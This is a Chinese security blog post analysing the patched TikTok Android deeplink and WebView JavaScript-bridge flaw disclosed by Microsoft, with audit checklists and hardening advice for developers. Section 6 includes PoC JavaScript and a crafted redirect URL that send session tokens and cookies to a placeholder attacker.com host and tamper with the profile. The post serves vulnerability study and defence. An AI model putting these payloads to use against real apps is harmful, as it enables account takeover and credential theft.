作者简介:akihi(白帽攻防录主理人),某甲方网络安全工程师,合集 SRC 年度第一、腾讯 SRC 连续三年前十,单漏洞赏金 4w+,擅长 Web / App / PC 客户端漏洞挖掘,专注 SRC 实战技术分享。
一、漏洞时间线
| 时间 | 事件 |
|---|---|
| 2022-02 | 微软通过 CVD / MSVR 流程向 TikTok 提交漏洞报告 |
| 2022-02 ~ 2022-03 | TikTok 安全团队确认漏洞,分配 CVE 编号 |
| 不到 1 个月 | TikTok 发布修复版本 |
| 2022-08-31 | 微软公开技术分析博客 |
| 披露期 | 未发现野外利用(no in-the-wild exploitation) |
影响版本:TikTok Android 两个发行渠道——com.ss.android.ugc.trill(东亚/东南亚)与 com.zhiliaoapp.musically(其他地区),Google Play 合计安装量超 15 亿次。
二、攻击链全景
[攻击者服务器]
│ 构造特制链接
▼
[受害者浏览器] 点击 https://m.tiktok.com/redirect?...
│ 触发 Android App Link 自动拉起 TikTok
▼
[TikTok 导出组件] 处理 redirect deeplink
│ query 参数重定向到内部 deeplink
▼
[内部 deeplink] [redacted]://webview?url=attacker.com&extra_param=...
│ 绕过服务端白名单校验
▼
[CrossPlatformActivity] WebView 加载 attacker.com
│ JS 调用 window.[bridge]({func, params})
▼
[Java 桥接层] 反射调用 [redacted].bridge.* 包下方法
│ 以用户已登录态发认证 HTTP 请求
▼
[token 外带] XMLHttpRequest 把 Cookie / session_token 发到攻击者服务器
│
▼
[账户接管] 修改资料 / 读私密视频 / 代发内容
整条链路的核心问题不是单点漏洞,而是三个安全假设同时失效:
- Deeplink 校验假设:以为只有导出的 deeplink 能被外部触发,实际 redirect 参数能跳到非导出的内部 scheme
- WebView URL 白名单假设:以为服务端会挡住非白名单域名,实际多加两个参数就能绕过
- JS 桥接暴露面假设:以为桥接方法是安全的,实际 70+ 方法里包含能发认证请求、回传完整响应的高危方法
三、WebView 与 JavaScript 接口原理
3.1 addJavascriptInterface 的工作机制
Android WebView 通过 addJavascriptInterface(Object obj, String name) 把一个 Java 对象注入到网页的 JS 全局作用域。网页里 window.name 就指向这个 Java 对象,JS 可以调用它的方法。
// 应用侧注入
class JsBridge {
@JavascriptInterface
public String nativeMethod(String arg) {
// 执行 Java 逻辑
return result;
}
}
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JsBridge(), "AppBridge");
webView.loadUrl("https://trusted.example.com/page.html");
// 网页侧调用
const result = window.AppBridge.nativeMethod("hello");
console.log(result);
3.2 安全边界的演变
- Android 4.2(API 17)之前:所有 public 方法都暴露给 JS,包括
Object.getClass()等反射能力,攻击者可通过反射链执行任意代码——这是 WebView JS 接口最臭名昭著的历史漏洞 - Android 4.2 之后:只有标注
@JavascriptInterface的方法才暴露,反射链被切断 - 但根本问题仍在:只要 WebView 加载了攻击者可控的 URL,暴露的方法就是攻击者的武器。@JavascriptInterface 只是缩小了暴露面,没有解决"不该加载不可信 URL"的根因
审计要点:看到
addJavascriptInterface不要急着找注解,先问——这个 WebView 最终会加载什么 URL?URL 来源是否可被外部控制?
四、TikTok 桥接层深度分析
4.1 桥接协议:JSON 字符串驱动
TikTok 的桥接不是一个方法一个方法暴露的,而是用统一入口 + JSON 路由:注册一个 JS 对象,所有调用都走一个方法,通过 JSON 里的 func 字段决定真正执行哪个 Java 方法。
// 网页 JS 调用桥接
window.TikTokBridge(JSON.stringify({
"func": "getUserInfo",
"params": { "userId": "123456" }
}));
Java 侧的核心逻辑(还原):
@JavascriptInterface
public void invoke(String jsonStr) {
JSONObject req = new JSONObject(jsonStr);
String funcName = req.getString("func");
JSONObject params = req.getJSONObject("params");
// 通过反射在 [redacted].bridge.* 包下查找对应方法
Method method = findBridgeMethod(funcName);
Object result = method.invoke(bridgeInstance, params);
// 把结果通过 JS 回调返回给网页
String callback = "window.onBridgeResult(" + result + ")";
webView.loadUrl("javascript:" + callback);
}
4.2 为什么这种设计更危险
- 暴露面集中:一个入口方法,背后挂载
[redacted].bridge.*包下所有类的方法,静态分析时很容易漏掉——只看到一个@JavascriptInterface,但实际调用的是整个包 - func 字段是字符串路由:不需要知道具体方法签名,只要知道方法名就能调。攻击者通过枚举 func 字段就能暴力探测可用方法
- 回调返回完整数据:结果直接通过
loadUrl("javascript:...")回传,意味着网页能拿到 Java 层处理后的任意数据
4.3 70+ 暴露方法的高危分类
研究团队梳理了 WebView 上下文里 JS 可访问的方法,超过 70 个。按危害等级分类:
| 危害等级 | 能力 | 后果 |
|---|---|---|
| 严重 | 以用户已登录态发起任意 HTTP 请求(带 Cookie / 自定义请求头),返回完整响应(含响应头) | 完全账户接管 |
| 高 | 读取 / 修改用户隐私信息(资料、设置) | 信息泄露 + 数据篡改 |
| 高 | 上传 / 删除内容(视频、评论) | 代发内容、删数据 |
| 中 | 读取设备信息、剪贴板 | 信息收集 |
其中最关键的是"认证态 HTTP 请求"能力——这意味着攻击者不需要知道用户密码,只要用户登录着 TikTok,桥接方法就会自动带上 Cookie 和认证头发请求。
五、Deeplink 路由与绕过
5.1 Android Deeplink 与 App Links
Android deeplink 由 Manifest 里的 <intent-filter> 声明。对于 http/https 链接,可以加 android:autoVerify="true" 启用 Android App Links——系统会去域名根目录验证 /.well-known/assetlinks.json,验证通过后直接拉起 App,不弹"选择打开方式"。
TikTok 对 m.tiktok.com 配置了 App Links,所以所有指向该域名的链接都会直接进 App。
5.2 第一个洞:redirect 参数跳到非导出 deeplink
TikTok 声明了导出 deeplink https://m.tiktok.com/redirect,处理逻辑是读 query 参数,把目标 URI 重定向到 App 内部组件。问题在于:重定向目标没有做导出性校验。
https://m.tiktok.com/redirect?to=internal://webview?url=https://attacker.com
正常情况下 internal://webview 这个 scheme 是非导出的(没有 android:exported="true"),外部 Intent 打不进去。但从 App 内部的 redirect 组件跳转时,走的是应用内路由,不经过 PackageManager 的导出性检查——等于用导出组件当跳板,间接触发了非导出组件。
5.3 第二个洞:服务端白名单被额外参数绕过
internal://webview?url=<目标URL> 这个 deeplink 把目标 URL 加载到 CrossPlatformActivity 的 WebView 里。但应用加了服务端校验:加载 URL 前先向自己的服务器发 GET 请求,服务器返回 allow / deny。
测试 example.com 这种明显不可信域名,服务器会拒绝,页面显示"此链接可能不安全"。
但静态分析发现:在 deeplink URL 里追加两个额外参数,服务端校验逻辑就被绕过了(微软博客对具体参数名做了 redacted 处理,但明确指出是"额外参数"导致的校验逻辑分支错误)。
典型的"服务端校验 + 客户端跳转"组合漏洞:服务端以为自己是最终裁判,但客户端在拼接 URL 时多加了参数,走到了另一个不校验的代码分支。审计这类漏洞要同时看服务端校验逻辑和客户端参数拼接代码,不能只看一边。
六、PoC 实战流程
6.1 完整利用步骤
- 攻击者搭建服务器
https://www.attacker.com/poc,放一段恶意 JS - 给受害者发链接(短信 / IM / 任何能让用户点链接的渠道)
- 用户点击 → Android App Links 拉起 TikTok → redirect 组件跳到内部 webview deeplink → 绕过服务端校验 → WebView 加载 attacker.com
- attacker.com 里的 JS 执行:
// Step 1: 触发桥接方法,发起认证态请求,把 Cookie 和请求头发到攻击者服务器
window.TikTokBridge(JSON.stringify({
"func": "authenticatedRequest",
"params": {
"url": "https://www.attacker.com/collect",
"method": "POST",
"includeCookies": true,
"customHeaders": {"X-Exfil": "1"}
}
}));
// Step 2: 桥接回调返回完整响应(含 session_token, access_key 等)
window.onBridgeResult = function(resp) {
// resp 里包含视频上传认证令牌:
// audio_token_v5, video_token_v5, session_token, secret_access_key...
fetch("https://www.attacker.com/steal", {
method: "POST",
body: JSON.stringify(resp)
});
};
// Step 3: 用窃取的 token 修改用户资料
window.TikTokBridge(JSON.stringify({
"func": "updateProfile",
"params": {"bio": "!! SECURITY BREACH !!"}
}));
6.2 实际效果
微软在 PoC 中验证了两个动作:
- token 外带:服务器日志里收到了完整的视频上传认证请求(含 session_token、access_key 等敏感字段)——这意味着攻击者可以用这些 token 直接以用户身份调 API
- 资料篡改:用户 TikTok 个人简介被改成了
!! SECURITY BREACH !!
整个过程用户无感知:没有弹窗、没有二次确认、没有跳转浏览器,点一下链接就完成了。
七、修复方案对比
| 修复层面 | 具体措施 | 评价 |
|---|---|---|
| Deeplink 路由 | redirect 组件校验目标 URI,禁止跳转到非导出 scheme | 堵住第一个跳板 |
| WebView URL 加载 | 白名单改为服务端强校验 + 客户端不接受额外参数绕过;非白名单 URL 一律走系统浏览器 | 堵住第二个绕过 |
| JS 桥接暴露面 | 收紧桥接方法:认证态请求方法加来源校验(只有白名单域名的 WebView 才能调);敏感方法按业务域拆分 | 缩小爆炸半径 |
| 纵深防御 | 关键操作(改资料、发内容)加二次确认或服务端鉴权,不只靠客户端 WebView 信任 | 即使 WebView 被劫持也不能直接改数据 |
微软的评价是:TikTok 修复速度很快,不到一个月就出补丁,且修复覆盖了 deeplink 校验和 WebView 白名单两个层面。
八、SRC 审计启示录
从这个漏洞出发,做 Android 客户端 SRC 审计时,以下检查项可以直接复用:
8.1 Deeplink 审计清单
- Manifest 里所有
<intent-filter>,哪些是android:autoVerify="true"的 App Links?这些域名能被外部直接拉起 - 导出组件的 query / path 参数是否可控?有没有"跳转目标"参数(to / url / redirect / target)能跳到内部 scheme
- 非导出组件是否真的非导出?有没有从导出组件间接可达的路径
8.2 WebView 审计清单
- 搜
addJavascriptInterface:每个调用点,WebView 加载的 URL 来源是什么?是否可被 deeplink / Intent extra 控制 - 搜
loadUrl("javascript:..."):有没有把外部数据拼进 JS 执行的 - JS 桥接对象暴露了哪些方法?有没有发 HTTP 请求、读敏感数据、改账户设置的能力
- WebView 的 URL 校验是客户端硬编码还是服务端动态校验?服务端校验有没有可绕过的参数分支
8.3 桥接层审计清单
- 统一入口型桥接(func/params 路由)要枚举所有可调用方法——这种最容易漏,因为代码层面只有一个 @JavascriptInterface
- 桥接方法是否对调用来源做了校验(WebView 当前 URL 是否在白名单里)
- 回调返回的数据是否包含敏感信息(token、Cookie、隐私字段)
一句话总结:Android 客户端高危漏洞的核心模式是"外部可控输入 → 内部组件信任链断裂"——deeplink 是入口,WebView 是放大器,JS 桥接是武器。三者只要串起来一个,就是账户接管级别的洞。
九、防护建议(给开发者)
- 白名单域名精确匹配:不要用字符串前缀/后缀匹配,用完整域名比对,且定期维护白名单(防止过期域名被抢注)
- 非白名单 URL 走系统浏览器:不属于应用白名单的 URL,一律
Intent.ACTION_VIEW丢给系统浏览器,不要进 WebView - JS 桥接最小权限:每个暴露方法都问"这个方法真的需要被网页调用吗",能不暴露就不暴露;敏感方法加来源校验
- 关键操作服务端鉴权:改资料、发内容、绑定操作,服务端必须二次鉴权,不能假设 WebView 里的操作就是用户本人操作
- deeplink 导出性审计:定期跑一遍 Manifest 导出组件 + 内部路由可达性分析,确保没有"导出组件跳板跳非导出组件"的路径
十、责任披露
微软通过 CVD(协同漏洞披露)经 MSVR 团队于 2022 年 2 月通报 TikTok,TikTok 快速响应,不到一个月发布修复。微软 Defender 漏洞管理已覆盖该 CVE 的检测告警。对普通用户:不点击来源不明链接、保持 App 更新、不从不可信渠道安装应用。

转载自 CSDN-专业IT技术社区
原文链接:https://blog.csdn.net/hackernote/article/details/166142619




